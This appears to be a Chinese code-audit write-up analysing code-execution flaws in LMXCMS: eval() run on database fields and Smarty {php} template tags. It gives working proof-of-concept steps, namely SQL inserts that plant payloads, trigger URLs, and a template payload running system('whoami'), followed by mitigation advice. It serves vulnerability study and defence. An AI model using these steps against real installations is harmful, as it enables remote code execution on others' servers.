初入代码审计之lmxcms代码执行
字数 1286 2025-08-22 22:47:30
LMXCMS代码执行漏洞分析与利用
环境搭建
- 下载LMXCMS:http://www.lmxcms.com/down/
- 使用phpstudy搭建环境
- 访问/install目录进行安装
- 数据库配置按常规设置即可
漏洞概述
LMXCMS存在多处代码执行漏洞,主要涉及以下文件:
- c\admin\AcquisiAction.class.php
- class\Action.class.php
- m\AcquisiModel.class.php
- plug\smarty\Smarty.class.php
- plug\smarty\plugins\function.math.php
漏洞详细分析
1. AcquisiAction.class.php代码执行
漏洞位置:c\admin\AcquisiAction.class.php中的showCjData方法
漏洞分析:
- 通过
$temdata = M('cj_data')->where(array('id'=>$cid))->find();从数据库获取数据 - 直接执行
eval($data=$temdata['data']) - 攻击者可控制
lmx_cj_data表中的data字段内容实现代码执行
利用步骤:
- 通过后台SQL执行功能插入恶意数据:
INSERT INTO `lmxcms`.`lmx_cj_data` (`id`, `lid`, `data`, `uid`, `url`, `time`)
VALUES (3, 4, 'phpinfo()', 33, 'a', 5);
- 访问触发URL:
/admin.php?m=Acquisi&a=showCjData&id=1&lid=4&cid=3
2. AcquisiModel.class.php代码执行
漏洞位置:m\AcquisiModel.class.php中的formatData方法
漏洞分析:
- 方法中存在
eval(string::stripslashes($array)) $array来自lmx_cj_list表的array或remove_html字段- 攻击者可控制这些字段内容实现代码执行
利用步骤:
- 通过后台SQL执行功能插入恶意数据:
INSERT INTO `lmxcms`.`lmx_cj_list`
(`lid`, `lname`, `uid`, `array`, `url_str`, `classid`, `lcontent`, `info_page_regular`, `content_url_box`, `content_url_regular`, `ztid`, `tagsname`, `str_y_replace`, `str_n_replace`, `str_remove`, `remove_html`, `list_dy_url`, `list_url_tem`, `pre_page`, `fix_page`)
VALUES (3, 'ts', 3, 'phpinfo()', 'ss', 6, 's', 'a', 's', 's', 'a', 's', 's', 's', 's', 's', 's', 's', 's', 's');
- 通过以下任意URL触发:
/admin.php?m=Acquisi&a=testcj&lid=1
/admin.php?m=Acquisi&a=startCaiji&lid=1
/admin.php?m=Acquisi&a=againCaiji&lid=1
3. Smarty模板代码执行
漏洞位置:plug\smarty\Smarty.class.php中的模板解析
漏洞分析:
- 模板中的
<{php}>标签内容会被直接执行 - 攻击者可通过编辑模板文件插入恶意代码
利用步骤:
- 编辑首页模板文件
index.html,添加:
<{php}>system('whoami');<{/php}>
- 访问首页即可执行命令
4. 其他潜在漏洞点
-
class\Action.class.php中的方法调用:- 虽然有限制只能调用对象已有的方法,但仍需注意安全
-
plug\smarty\plugins\function.math.php:- 虽然存在eval函数,但未发现实际调用路径
防护建议
- 对所有用户输入进行严格过滤和验证
- 避免直接使用eval函数执行动态代码
- 限制后台SQL执行功能的使用权限
- 对模板编辑功能进行权限控制
- 及时更新到最新版本
总结
LMXCMS存在多处代码执行漏洞,主要由于:
- 直接使用eval执行数据库中的内容
- 模板解析过程中未对PHP代码进行安全处理
- 后台SQL执行功能可被滥用
攻击者可通过组合这些漏洞实现远程代码执行,获取服务器控制权。建议用户及时修复或采取防护措施。